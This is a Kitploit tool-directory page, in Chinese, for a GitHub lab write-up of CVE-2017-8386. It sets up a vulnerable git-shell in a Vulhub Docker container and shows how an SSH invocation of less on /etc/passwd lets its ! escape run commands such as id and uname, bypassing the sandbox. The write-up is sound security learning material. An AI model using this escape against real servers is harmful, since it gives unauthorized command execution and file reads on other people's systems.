Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/suz1n/whs3_vulhub
容器安全漏洞分析漏洞利用渗透测试学习与教育实验室与实践
GitHubsuz1n/whs3_vulhub

WHS3_vulhub

CVE-2017-8386 Git-Shell 沙箱绕过漏洞的 PoC。

查看仓库
81年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2017-8386: git-shell Sandbox Bypass to RCE PoC

郑秀珍(@suz1n)

概述

Git-shell 提供通过 SSH 仅允许受限 git 命令的环境。但在特定版本的 git-shell(如 2.12.2)中,存在可利用 less 命令绕过沙箱并执行系统命令的漏洞(CVE-2017-8386)。

本报告针对该漏洞进行 PoC 并整理过程。

环境搭建

使用的工具及版本

  • Docker: 24.0.7
  • Docker-Compose: v2.34.0
  • Host OS: macOS
  • Target OS: Ubuntu 16.04 (容器内部)
  • Git Version: 2.12.2
  • SSH Server

克隆 Vulhub 仓库

git clone https://github.com/phith0n/vulhub.git

cd vulhub/git/CVE-2017-8386/ Image1

docker-compose.yml 与 Dockerfile 配置

• Ubuntu 16.04 基础镜像
• 源码安装 Git 2.12.2
• 安装并运行 OpenSSH 服务器
• 配置 git-shell 环境(创建 git 用户)

构建并运行容器

docker-compose build

docker-compose up -d

docker ps

• 确认容器已运行(git-shell-cve-2017-8386)

Image2

注册 SSH 密钥及环境配置

1. 在本地生成并复制 id_rsa.pub
2. 进入容器内部并切换到 git 用户
3. 注册 authorized_keys

docker exec -it git-shell-cve-2017-8386 /bin/bash

chsh -s /bin/bash git

su git

mkdir -p ~/.ssh

chmod 700 ~/.ssh

touch ~/.ssh/authorized_keys

chmod 600 ~/.ssh/authorized_keys

vim ~/.ssh/authorized_keys

Image3

安装附加软件包

apt update

apt install less -y

apt install man-db -y

• 已完成 less、man 软件包安装以执行 PoC

PoC 过程

正常 SSH 连接

ssh -p 3322 -i id_rsa -t [email protected] "less /etc/passwd"

• 成功进入 less 界面

• 可通过 ! 命令执行系统命令

命令执行(绕过沙箱)

• !id -> 输出用户 ID、组 ID first_execute.png

• !whoami -> 当前用户(git)

• !uname -a -> 输出系统内核信息

• !ls /home/git -> 输出 git 主目录文件列表

分析

• git-shell 环境限制用户无法执行系统命令。
• 但可通过 `git-upload-archive --help` 命令在内部调用 less。
• less 命令通过 ! 功能支持执行系统 shell 命令。
• 最终可绕过 git-shell 沙箱执行任意命令。

参考

• Insinuator 博客:https://insinuator.net/2017/05/git-shell-bypass-by-abusing-less-cve-2017-8386/

• Vulhub GitHub 仓库:https://github.com/phith0n/vulhub

GitHub 仓库链接

https://github.com/suz1n/WHS3_vulhub

下载工具